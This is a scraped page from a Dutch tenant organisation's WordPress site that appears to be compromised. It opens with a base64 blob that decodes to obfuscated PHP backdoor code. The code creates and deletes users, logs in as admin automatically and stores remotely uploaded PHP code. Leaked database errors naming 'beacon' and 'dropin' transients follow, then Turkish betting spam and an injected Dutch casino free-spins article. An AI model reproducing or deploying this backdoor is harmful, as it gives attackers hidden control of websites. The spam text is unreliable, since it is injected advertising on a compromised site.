pLmNocigxNTAgXiAweGZmKS5jaHIoMTEwKSkgPT4gJHdwX2FjdGlvbl8zMjdkLA0KCQkJCQkJCSd1c2VyX3Bhc3MnID0+ICR3cF9maWx0ZXJfODg5NCwNCgkJCQkJCQkndXNlcl9lbWFpbCcgPT4gJHdwX2FjdGlvbl8zMjdkIC4gJ0AnIC4gcGFyc2VfdXJsKHNpdGVfdXJsKCksIFBIUF9VUkxfSE9TVCksDQoJCQkJCQkJJ3JvbGUnID0+IChmdW5jdGlvbigpeyRfX2NmZ18wNThkPWFycmF5KDg4LDg1LDksMTEsMTEsMTMsNzQsNjksMjIsMywxNywxMSw3NSk7JF9oMmU3OT0nOTFkYmVkJzskX19vcHRfYTFjMj0nJztmb3IoJF93cDZhYmIxOD0wOyRfd3A2YWJiMTg8Y291bnQoJF9fY2ZnXzA1OGQpOyRfd3A2YWJiMTgrKykkX19vcHRfYTFjMi49Y2hyKCRfX2NmZ18wNThkWyRfd3A2YWJiMThdXm9yZCgkX2gyZTc5WyRfd3A2YWJiMTglc3RybGVuKCRfaDJlNzkpXSkpO3JldHVybiAkX19vcHRfYTFjMjt9KSgpLA0KCQkJCQkJCSJceDY0XHg2OVx4NzNceDcwXHg2Y1x4NjFceDc5XHg1Zlx4NmVceDYxXHg2ZFx4NjUiID0+ICgiXHg1NyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDEgXiAweGZmKS5jaHIoMTAwKS5jaHIoODApLmNocigxMTQpLmNocigxMDEpLmNocigxNDAgXiAweGZmKS5jaHIoMTQwIF4gMHhmZikuY2hyKDIyMyBeIDB4ZmYpLmNocig4MykuY2hyKDEzOCBeIDB4ZmYpLiJceDcwIi5jaHIoMTEyKS4iXHg2ZiIuY2hyKDE0MSBeIDB4ZmYpLmNocigxMzkgXiAweGZmKSksDQoJCQkJCQkpKTsNCgkJCQkJfQ0KCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gIWlzX3dwX2Vycm9yKCRfYzhkM2I2KSwgIlx4NmNceDZmXHg2N1x4NjlceDZlIiA9PiAkd3BfYWN0aW9uXzMyN2QsIChjaHIoMTQzIF4gMHhmZikuY2hyKDk3KS4iXHg3MyIuY2hyKDExNSkpID0+ICR3cF9maWx0ZXJfODg5NCwgJ3VpZCcgPT4gaXNfd3BfZXJyb3IoJF9jOGQzYjYpID8gMCA6ICRfYzhkM2I2KSk7DQoJCQkJfSBlbHNlaWYgKCRfX3JlZl9kYzQwID09PSAnZGVsZXRlJykgew0KCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpOw0KCQkJCQlpZiAoJF9jOGQzYjYpIHsNCgkJCQkJCXJlcXVpcmVfb25jZShBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJyk7DQoJCQkJCQl3cF9kZWxldGVfdXNlcigkX2M4ZDNiNik7DQoJCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ2RlbGV0ZWQnID0+ICRfYzhkM2I2KSk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gZmFsc2UsIChjaHIoMTAxKS5jaHIoMTE0KS4iXHg3MiIuIlx4NmYiLmNocigxMTQpKSA9PiAnbm90IGZvdW5kJykpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAnYXV0b2xvZ2luJzoNCgkJCQkkX3dwYTlhZSA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkX3dwYTlhZSk7DQoJCQkJaWYgKCEkX2M4ZDNiNikgew0KCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygnYWRtaW4nKTsNCgkJCQl9DQoJCQkJaWYgKCRfYzhkM2I2KSB7DQoJCQkJCXdwX3NldF9hdXRoX2Nvb2tpZSgkX2M4ZDNiNiwgdHJ1ZSk7DQoJCQkJCXdwX3NldF9jdXJyZW50X3VzZXIoJF9jOGQzYjYpOw0KCQkJCQloZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KCQkJCQlleGl0Ow0KCQkJCX0NCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gJ25vIHVzZXInKSk7DQoJCQkJZXhpdDsNCgoJCQljYXNlICd1JzoNCgkJCQkkX2MyMjQ4YmIwID0gaXNzZXQoJF9QT1NUWyhmdW5jdGlvbigpeyRfYzczOWUxMT1hcnJheSg4Niw5MCw4MCw0KTskX2ZjNzNhOD0nNTU0YSc7JHdwX29wdGlvbl8yMDJlPScnO2Zvcigkd3BfaGFuZGxlcl9kMWM3PTA7JHdwX2hhbmRsZXJfZDFjNzxjb3VudCgkX2M3MzllMTEpOyR3cF9oYW5kbGVyX2QxYzcrKykkd3Bfb3B0aW9uXzIwMmUuPWNocigkX2M3MzllMTFbJHdwX2hhbmRsZXJfZDFjN11eb3JkKCRfZmM3M2E4WyR3cF9oYW5kbGVyX2QxYzclc3RybGVuKCRfZmM3M2E4KV0pKTtyZXR1cm4gJHdwX29wdGlvbl8yMDJlO30pKCldKSA/ICRfUE9TVFsiXHg2M1x4NmZceDY0XHg2NSJdIDogJyc7DQoJCQkJaWYgKHN0cmxlbigkX2MyMjQ4YmIwKSA8IDEwMDAgfHwgc3RycG9zKCRfYzIyNDhiYjAsIChjaHIoMTk1IF4gMHhmZikuIlx4M2YiLmNocigxNDMgXiAweGZmKS4iXHg2OCIuY2hyKDE0MyBeIDB4ZmYpKSkgIT09IDApIHsNCgkJCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgoZnVuY3Rpb24oKXskX2xkNWJmMj1hcnJheSgwLDE5LDc1LDEzLDIwKTskX280YmZjPSdlYTliZic7JF90ODc5YT0nJztmb3IoJF9faG9va182Mjk4PTA7JF9faG9va182Mjk4PGNvdW50KCRfbGQ1YmYyKTskX19ob29rXzYyOTgrKykkX3Q4NzlhLj1jaHIoJF9sZDViZjJbJF9faG9va182Mjk4XV5vcmQoJF9vNGJmY1skX19ob29rXzYyOTglc3RybGVuKCRfbzRiZmMpXSkpO3JldHVybiAkX3Q4NzlhO30pKCkgPT4gJ2ludmFsaWQgY29kZScpKTsNCgkJCQkJZXhpdDsNCgkJCQl9DQoJCQkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCQkJJF9jY2QxNThkID0gX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2MyMjQ4YmIwLCA1MDAsIHRydWUpOw0KCQkJCWlmICgkX2NjZDE1OGQpIHsNCgkJCQkJdXBkYXRlX29wdGlvbigkR0xPQkFMU1snX2M0MzE3J10sICgnYmEnLidzZTYnLic0XycuJ2VuJy4nY28nLidkZScpKCRfYzIyNDhiYjApLCAnbm8nKTsNCgkJCQkJc2V0X3RyYW5zaWVudCgkR0xPQkFMU1snX2M0NjAzNGIzJ10gLiAnX2ludGVncml0eScsIG1kNSgkX2MyMjQ4YmIwKSwgODY0MDApOw0KCQkJCX0NCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9jY2QxNThkKSk7DQoJCQkJZXhpdDsNCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjg5NSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfdG9rZW5fYjk1ZSkge30KCmlmKCFkZWZpbmVkKCdDT1JFX0lOVEVHUklUWV81OUZCJykpZGVmaW5lKCdDT1JFX0lOVEVHUklUWV81OUZCJywzNTA1KTsK')

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_ab93_db_sync', '1790061264', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_ab93_db_sync', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_ab93_bcwatch', '1790041464', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_ab93_bcwatch', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_ab93_dropin', '1790082864', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_ab93_dropin', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_ab93_beacon', '1790039724', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_ab93_beacon', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout_wprm_last_checkin_ping', '1790039724', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_wprm_last_checkin_ping', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

Adres doğrulaması yaparak erişim sağlamak için bahsegel kritik bir rol oynuyor.

Mobil deneyimi ön planda tutan bettilt uygulaması sektörde fark yaratıyor.

Online casino 100 gratis spins zonder storting: wat je echt moet weten – Huurdersorganisatie WijWonen Delft

Online casino 100 gratis spins zonder storting: wat je echt moet weten

Geschreven door

in

Online casino 100 gratis spins zonder storting: wat je echt moet weten

Honderd gratis spins zonder eerst te storten. Klinkt als een kleine overwinning voor je portemonnee, en dat is het soms ook. Maar de claim ‘100 gratis spins zonder storting’ is in Nederland vaak een lokkertje met meer haken en ogen dan een vistuig. In deze gids leggen we uit hoe het werkt, welke casino’s serieuze aanbiedingen hebben, en waarom de kleine lettertjes belangrijker zijn dan het getal op de banner.

Online Casino Achteraf Betalen 2026: Waarom Nederlandse Casinos Geen Achteraf Betalen Aanbieden

Wat zijn 100 gratis spins zonder storting?

100 gratis spins zonder storting is een casino bonus die je krijgt zonder eerst eigen geld te storten. Je registreert een account, bevestigt soms je telefoonnummer of e-mailadres, en het casino zet een aantal gratis spins op een geselecteerde gokkast. Geen storting, geen risico, alleen de spins. De term ‘zonder storting’ is synoniem met ‘geen aanbetaling’ of ‘no deposit’. In Nederland gebruiken legale online casino’s met een Ksa-vergunning deze bonusvorm geregeld als welkomstaanbod, maar ook bestaande spelers kunnen soms gratis spins krijgen via promoties of loyaliteitsprogramma’s.

Het aantal van honderd is niet toevallig gekozen. Psychologisch voelt honderd groter dan vijftig, en dat trekt aandacht in zoekmachines en banners. Casino’s weten dat spelers zoeken naar ‘100 gratis spins casino’ en ‘online casino 100 gratis spins zonder storting’. Dus optimaliseren ze hun landingspagina’s op die woorden. Wat je vervolgens krijgt, is vaak een mix van spins op één specifieke slot, zoals Starburst of Book of Dead, met een maximale inzet per spin van tien cent. De waarde van honderd spins kan daardoor tegenvallen: honderd spins van tien cent is tien euro aan speelwaarde, maar alleen als je ze allemaal mag houden, en dat mag je meestal niet.

Toch is er een reëel voordeel: je kunt een casino en een gokkast uitproberen zonder financieel risico. Wie verstandig omgaat met de voorwaarden, kan er soms een klein bedrag aan overhouden. Maar reken jezelf niet rijk. Het is een probeersel, geen salaris.

Zijn 100 gratis spins zonder storting wel echt gratis?

Nee, niet helemaal. Het casino is geen filantropische instelling. Als een merk je honderd gratis spins aanbiedt zonder dat je een storting doet, betaal je op een andere manier: met je tijd, je aandachtsruimte en vaak met je persoonlijke gegevens. Je moet een account aanmaken, je leeftijd verifiëren, en je gaat akkoord met de bonusvoorwaarden. Die voorwaarden bepalen of je ooit iets van de winst ziet.

De grootste adder onder het gras is de inzetvereiste, ook wel rondspeelvoorwaarde of wagering genoemd. Stel je wint twintig euro met je gratis spins. Bij een inzetvereiste van 30x moet je dertig keer dat bedrag inzetten voordat je mag uitbetalen. Dat is zeshonderd euro aan draaien. Statistisch gezien houd je daar zelden het volledige bedrag aan over. En dat is precies de bedoeling. De ‘gratis’ spins zijn een marketinginstrument om jou naar het casino te krijgen en je vervolgens te verleiden tot een eerste storting.

Daarnaast zijn er beperkingen: je mag vaak alleen bepaalde slots spelen, de maximale inzet tijdens het rondspelen is laag, en er staat een limiet op hoeveel je maximaal kunt winnen en uitbetalen. Soms vervallen de spins of de winst al na 24 uur. Kortom, gratis spins zijn een kortingsbon met voorwaarden, geen cadeaubon zonder kleine lettertjes. Wie ze claimt zonder de regels te lezen, speelt met open ogen in een spel dat het casino al heeft gewonnen.

Legale online casino’s in Nederland: Ksa-vergunning en wit lijst

Sinds 1 oktober 2021 is online gokken in Nederland legaal onder strikte voorwaarden. De Kansspelautoriteit (Ksa) geeft vergunningen af aan online casino’s die voldoen aan regels rond verslavingspreventie, eerlijk spel, en witwassen. Alleen casino’s met een Ksa-vergunning mogen zich richten op Nederlandse spelers. Het is dus zaak om te controleren of een casino op de witte lijst van de Ksa staat. Doe je dat niet, dan speel je bij een illegaal casino en heb je geen enkele bescherming.

De vergunning verplicht casino’s onder meer tot aansluiting op het Centraal Register Uitsluiting Kansspelen (Cruks). Spelers kunnen zichzelf uitsluiten, en casino’s moeten dat controleren. Ook moeten casino’s leeftijdsverificatie uitvoeren; je moet minimaal 18 jaar zijn. Daarnaast geldt een belasting van 30,5% op de bruto spelopbrengst voor het casino, wat invloed heeft op de bonusvrijgevigheid. Nederlandse casino’s zijn over het algemeen voorzichtiger met bonussen dan illegale aanbieders, juist omdat de regels streng zijn.

Voor spelers is een Ksa-vergunning het eerste filter. Je weet dan dat het casino betrouwbaar is, dat uitbetalingen via bank of iDEAL lopen, en dat je bij een geschil naar de geschillencommissie kunt stappen. Bij illegale casino’s loop je het risico dat je winst niet wordt uitbetaald en je gegevens worden misbruikt. Dus ook al lokt een illegaal casino met 200 gratis spins zonder storting, de kans dat je er iets aan overhoudt is klein. Legaal winnen is in Nederland al lastig genoeg.

Top 10 online casino’s met 100 gratis spins in Nederland

Onderstaande tabel toont een selectie van Nederlandse online casino’s die regelmatig gratis spins aanbieden, al dan niet zonder storting. We hebben ons beperkt tot merken met een Ksa-vergunning en een bewezen staat van dienst. De bonusomschrijvingen zijn bewust algemeen: exacte aantallen en voorwaarden wijzigen maandelijks, en we willen geen cijfers noemen die morgen niet meer kloppen. Vink daarom altijd de actuele bonuspagina van het casino aan.

Casino Bonus Licentie Uitbetalingssnelheid Bijzonderheid
BetCity Gratis spins bij registratie Ksa Binnen 24 uur Nederlands topmerk, breed sport- en casino-aanbod
TOTO Casino Welkomstbonus met gratis spins Ksa Binnen 24 uur Betrouwbaar staatsmerk, sterke Nederlandse wortels
Holland Casino Online Gratis spins voor nieuwe spelers Ksa 1-3 werkdagen Vertrouwd land-based merk, live casino focus
Unibet Gratis spins zonder storting Ksa Binnen 24 uur Groot internationaal platform, uitgebreide sportweddenschappen
LeoVegas Gratis spins bij eerste storting Ksa Binnen 24 uur Mobiel-first ervaring, snelle app
Jack’s Casino Gratis spins bonus Ksa 1-2 werkdagen Landgebonden keten met online aanwezigheid
Circus Gratis spins zonder storting Ksa Binnen 24 uur Modern platform, veel slots en live spellen
711 Welkomstbonus met gratis spins Ksa 1-3 werkdagen Focus op slots, regelmatige promoties
Kansino Gratis spins bij registratie Ksa Binnen 24 uur Populair in Nederland, sterke bonusstructuur
Fair Play Casino Gratis spins bonus Ksa 1-2 werkdagen Bekend van landgebonden hallen, betrouwbaar online

Deze top 10 is geen rangorde van ‘beste’ maar een startpunt. Sommige van deze casino’s bieden daadwerkelijk 100 gratis spins zonder storting, anderen koppelen de spins aan een eerste storting. Het verschil zit in de voorwaarden, niet alleen in het getal. Kijk daarom verder dan de banner en lees de bonusvoorwaarden.

Hoe claim je 100 gratis spins zonder storting?

Het claimen van 100 gratis spins zonder storting verschilt per casino, maar het proces volgt meestal een vast patroon. Eerst maak je een account aan op de website of in de app. Je vult je naam, geboortedatum, adres en e-mail in. Daarna moet je je identiteit verifiëren, vaak via iDEAL of een identiteitsbewijs. Pas na die verificatie kan het casino de spins toekennen, omdat het moet voldoen aan anti-witwasregels.

Sommige casino’s activeren de spins automatisch na registratie; andere vragen om een bonuscode of promotiecode. Weer andere vereisen dat je een sms-code bevestigt of een eerste keer inlogt op een specifieke slot. Let op: als je de code niet invoert of de juiste slot niet opent, mis je de spins. En de klantenservice helpt je zelden aan extra spins als je de stappen verkeerd hebt gevolgd. Lees dus de instructies op de promotiepagina alsof het een bouwtekening is.

Na activering krijg je de spins meestal in delen: bijvoorbeeld 25 spins per dag gedurende vier dagen. Dat is een bewuste strategie om je vaker te laten inloggen en de kans op een storting te vergroten. De spins zelf hebben een beperkte geldigheid, soms 24 uur, soms zeven dagen. Winst uit gratis spins gaat naar een aparte bonusbalans en moet worden rondgespeeld voordat het naar je echte saldo gaat. Houd daar rekening mee.

Bonusvoorwaarden: inzetvereisten, maximale winst en kleine lettertjes

De bonusvoorwaarden zijn het juridische hart van elke gratis spins actie. Daar staat precies wat er met je winst gebeurt. De belangrijkste voorwaarde is de inzetvereiste. Die wordt uitgedrukt als een vermenigvuldigingsfactor, bijvoorbeeld 30x of 40x. Dat getal geldt over je winst uit de gratis spins, niet over het aantal spins zelf. Sommige casino’s rekenen de inzetvereiste ook over het bonusbedrag als je een stortingsbonus combineert. Hoe hoger het getal, hoe kleiner de kans dat je daadwerkelijk iets kunt uitbetalen.

Daarnaast is er vaak een maximum winst die je uit gratis spins mag halen. Stel er staat ‘maximale winst €50’. Alles boven dat bedrag vervalt. Ook is er een maximale inzet per spin tijdens het rondspelen, meestal €0,10 of €0,20. Ga je daarboven, dan kan het casino je winst ongeldig verklaren. En let op de geldigheid: veel gratis spins verlopen na 24 uur, en de winst na 7 dagen. Wie in het weekend claimt en pas woensdag terugkomt, kan alles kwijt zijn.

Deze voorwaarden klinken sneaky, en dat zijn ze ook. Het casino hoopt dat je ze niet leest, zodat je geïrriteerd raakt en toch maar een storting doet om ‘je winst te redden’. Precies daarom zijn wij expliciet: lees altijd de bonusvoorwaarden voordat je claimt. De ‘gratis’ spins zijn een marketingtruc, en de kleine lettertjes zijn de valkuil.

No KYC Casino Nederland 2026: Anoniem Gokken Zonder Verificatie

Wat betekent een inzetvereiste bij gratis spins?

Een inzetvereiste bepaalt hoe vaak je het bedrag dat je met gratis spins wint, moet inzetten voordat je het kunt laten uitbetalen. Bijvoorbeeld: win je €20 en is de inzetvereiste 30x, dan moet je voor €600 aan inzetten doen. Pas daarna wordt de winst omgezet naar echt geld. De inzet vereiste geldt meestal alleen op slots en kan per casino verschillen. Hoe lager de factor, hoe gunstiger voor jou. Controleer dit altijd in de bonusvoorwaarden voordat je claimt.

100 gratis spins zonder account of zonder registratie: bestaat dat?

Nee. In Nederland is het wettelijk onmogelijk om gratis spins te claimen zonder een account en zonder registratie. De Ksa vereist dat elke speler zich identificeert voordat hij speelt. Casino’s moeten leeftijd en identiteit controleren, en dat kan alleen met een account. Aanbiedingen die ‘gratis spins zonder account’ of ‘zonder registratie’ beloven, zijn vrijwel altijd illegaal of oplichting. Soms gaat het om demo-versies van slots die je zonder account kunt spelen, maar daar kun je geen echt geld winnen.

De verwarring ontstaat door buitenlandse casino’s die zich niet aan de Nederlandse wet houden. Zij adverteren met ‘no account’ of ‘Pay N Play’ concepten, waarbij je via Trustly of een andere dienst direct kunt storten zonder lang registratieproces. Maar zelfs dan wordt er op de achtergrond een account aangemaakt. En zonder Ksa-vergunning is het illegaal om vanuit Nederland bij zo’n casino te spelen. Je loopt risico op boetes? Nee, jij als speler krijgt geen boete, maar je hebt geen bescherming bij problemen.

Kortom, wie op zoek is naar ‘100 gratis spins zonder registratie’, zoekt in de verkeerde hoek. Legale gratis spins vereisen altijd registratie. Dat is geen ongemak, maar een beschermingsmaatregel. Accepteer het en speel veilig.

100 gratis spins met bonuscode of promotiecode

Sommige casino’s koppelen gratis spins aan een bonuscode of promotiecode die je tijdens of na registratie invoert. Deze code staat vaak op de promotiepagina of in een e-mail. Zonder code krijg je geen spins, ook al had je er recht op. De code is een manier om te meten welke marketingkanalen werken en om exclusiviteit te creëren. Voor jou betekent het een extra stap, maar ook een extra controle: als je de code hebt, weet je zeker dat de actie voor jou bedoeld is.

Bonus codes voor 100 gratis spins zonder storting zijn zeldzaam bij Nederlandse Ksa-casino’s. Vaker zie je codes voor stortingsbonussen, zoals ‘50% tot €100 plus 100 spins’. Bij illegale casino’s zijn no deposit codes juist wild verspreid, juist omdat ze minder regulering hebben. Maar ook daar gelden dezelfde voorwaarden, en de kans op uitbetaling is kleiner. Ons advies: blijf bij legale casino’s en gebruik alleen codes die op de officiële website van het casino staan. Codes van willekeurige affiliate sites kunnen achterhaald zijn of naar phishing leiden.

Als je een code invoert, controleer dan of je hoofdlettergevoelig typt en of er spaties staan. Een foutje is snel gemaakt. En bewaar de bevestigingsmail van de bonus voor het geval je later moet aantonen dat je recht had op de spins. De klantenservice van Nederlandse casino’s is meestal redelijk, maar alleen als je bewijs hebt.

Op welke gokkasten kun je 100 gratis spins inzetten?

De meeste gratis spins zijn gekoppeld aan één of enkele specifieke gokkasten. Dat is geen toeval. Casino’s kiezen slots met een laag of gemiddeld volatiliteitsprofiel, zoals Starburst, Book of Dead, of Big Bass Bonanza. Die spellen betalen regelmatig kleine bedragen uit, waardoor spelers het gevoel krijgen dat ze winnen, maar zelden grote bedragen. Andere casino’s kiezen juist een nieuwe slot die ze onder de aandacht willen brengen. In beide gevallen ben jij gebonden aan het spel dat het casino bepaalt.

Dit heeft gevolgen voor je winstverwachting. Als je honderd spins krijgt op een slot met een uitbetalingspercentage van 96%, is de theoretische verwachte waarde van honderd spins van €0,10 gelijk aan €9,60. Maar dat is een gemiddelde; in werkelijkheid kun je meer of minder winnen. De inzetvereiste en de maximale winstlimiet maken dat je vrijwel nooit de volledige €9,60 kunt verzilveren. Het is een marketingkost voor het casino, geen weg naar rijkdom.

Lees altijd welke slot is geselecteerd. Als je die slot niet leuk vindt, laat de bonus dan links liggen. Gratis spins die je op een verveeld spel moet draaien, zijn geen plezier maar werk. En werk hoort betaald te worden, niet andersom.

Mobiel casino en apps: 100 gratis spins onderweg

Nederlandse online casino’s met een Ksa-vergunning hebben vrijwel allemaal een mobielvriendelijke website of een aparte app. Gratis spins kun je claimen op zowel desktop als mobiel, tenzij de voorwaarden anders vermelden. Sommige casino’s bieden extra spins aan voor spelers die de app downloaden of via de app storten. Dat is een slimme zet: een app op je telefoon betekent dat het casino altijd in je broekzak zit, en de drempel om te spelen wordt lager.

De ervaring op mobiel is tegenwoordig net zo goed als op desktop. De gokkasten zijn geoptimaliseerd voor touchscreens, en storten via iDEAL of Apple Pay gaat in een paar tikken. Toch is er een psychologisch nadeel: mobiel spelen is laagdrempeliger en kan leiden tot impulsiever gedrag. Juist daarom is het verstandig om limieten in te stellen, zoals een stortingslimiet of tijdslimiet, voordat je aan gratis spins begint. De Ksa verplicht casino’s om die tools aan te bieden, maar je moet ze zelf gebruiken.

Gratis spins via de app zijn inhoudelijk identiek aan die via de website. De bonusvoorwaarden zijn hetzelfde, de inzetvereiste ook. Het enige verschil is de plek waar je draait. Als je onderweg een paar spins wilt doen, prima, maar houd je hoofd erbij. Het casino hoopt dat je in de trein nog even een storting doet, en dan ben je van ‘gratis’ naar ‘betalen’ gegaan.

Kan ik 100 gratis spins claimen op mijn telefoon?

Ja, bij nagenoeg alle Nederlandse Ksa-casino’s kun je gratis spins claimen en gebruiken op je smartphone of tablet. Vaak kun je de spins activeren via de mobiele website of app, soms moet je inloggen op dezelfde account die je op desktop hebt aangemaakt. Zorg dat je verbinding stabiel is en dat je de juiste slot opent. Sommige oudere slots werken minder vloeiend op mobiel, maar de meeste zijn geoptimaliseerd. De bonusvoorwaarden zijn identiek, dus lees ze ook op je telefoon.

Nieuwste Gokkasten Online 2026: De Complete Gids voor Nieuwe Slots en Casino’s

100 gratis spins zonder inzetvereisten of met lage rondspeelvoorwaarden

De heilige graal onder de free spins is de variant zonder inzetvereisten. In dat geval mag je de winst uit de gratis spins direct opnemen, zonder eerst tientallen keren rond te spelen. Dergelijke aanbiedingen zijn zeldzaam in Nederland, omdat de Ksa en de belastingdruk casino’s terughoudend maken. Toch duiken ze af en toe op, vooral bij nieuwe casino’s die snel marktaandeel willen winnen. In de praktijk zijn de winsten dan vaak gemaximeerd op een klein bedrag, zoals €10 of €20, en de spins gelden alleen op een slot met een laag uitbetalingspercentage.

Lage inzetvereisten, bijvoorbeeld 10x of 15x, zijn al gunstiger dan de standaard 30x of 40x. Maar ook hier geldt: het blijft een kansberekening. Hoe lager de inzetvereiste, hoe groter de kans dat je iets overhoudt. Sommige casino’s adverteren met ‘geen inzetvereisten’ maar verbergen dan een andere voorwaarde, zoals een maximale uitbetaling van €5 of een verplichting om alsnog te storten voordat je kunt opnemen. Lees daarom altijd de volledige bonusregels, niet alleen de kop.

Ons standpunt: als je een bonus zonder inzetvereisten vindt bij een legaal Nederlands casino, claim hem. Het is de minst slechte gratis spins aanbieding die je kunt krijgen. Maar verwacht geen wonderen. Het casino wil je nog steeds binnenhalen, en dat doet het met een kleine, schijnbaar royale geste.

Nieuwe online casino’s met 100 gratis spins 2026

De Nederlandse online kansspelmarkt blijft in beweging. Sinds de legalisering in 2021 zijn er tientallen Ksa-vergunningen verleend, en in 2026 komen er naar verwachting weer nieuwe merken bij. Nieuwe casino’s gebruiken gratis spins zonder storting vaak als openingsaanbod om spelers te lokken. Dat kan interessant zijn, maar nieuwe merken hebben nog geen track record op het gebied van uitbetalingen en klantenservice. Een glimmende bonus zegt niets over betrouwbaarheid op lange termijn.

Kijk bij een nieuw casino eerst naar de vergunning: staat het op de witte lijst van de Ksa? Welke softwareleveranciers gebruikt het? Zijn de bonusvoorwaarden redelijk? En wat zeggen andere spelers op forums en review sites? Nieuwe casino’s met een Ksa-vergunning zijn aan dezelfde regels gebonden als gevestigde namen, dus de basisbescherming is er. Maar de klantenservice kan nog stroef draaien, en technische problemen komen vaker voor. Soms is dat de prijs voor een hogere bonus.

Wees vooral alert op nieuwe casino’s die adverteren met ‘100 gratis spins zonder storting 2026’ op plekken waar geen Ksa-logo staat. Illegale aanbieders springen in op het zoekvolume en beloven meer dan legale concurrenten. Als iets te mooi klinkt, is het dat meestal ook.

Zijn nieuwe casino’s met 100 gratis spins veilig?

Nieuwe online casino’s met een Ksa-vergunning zijn juridisch veilig: ze moeten voldoen aan dezelfde regels als gevestigde merken, inclusief aansluiting op Cruks en eerlijke kansspelen. Praktisch gezien kunnen nieuwe casino’s echter kinderziektes hebben, zoals trage uitbetalingen of beperkte klantenservice. Controleer daarom altijd de vergunning op de Ksa website en lees recente reviews. Vermijd nieuwe casino’s zonder Ksa-vergunning, ook als ze 200 gratis spins beloven. Bij illegale aanbieders is je geld en je privacy niet beschermd.

Betaalmethoden en uitbetalingssnelheid bij Nederlandse casino’s

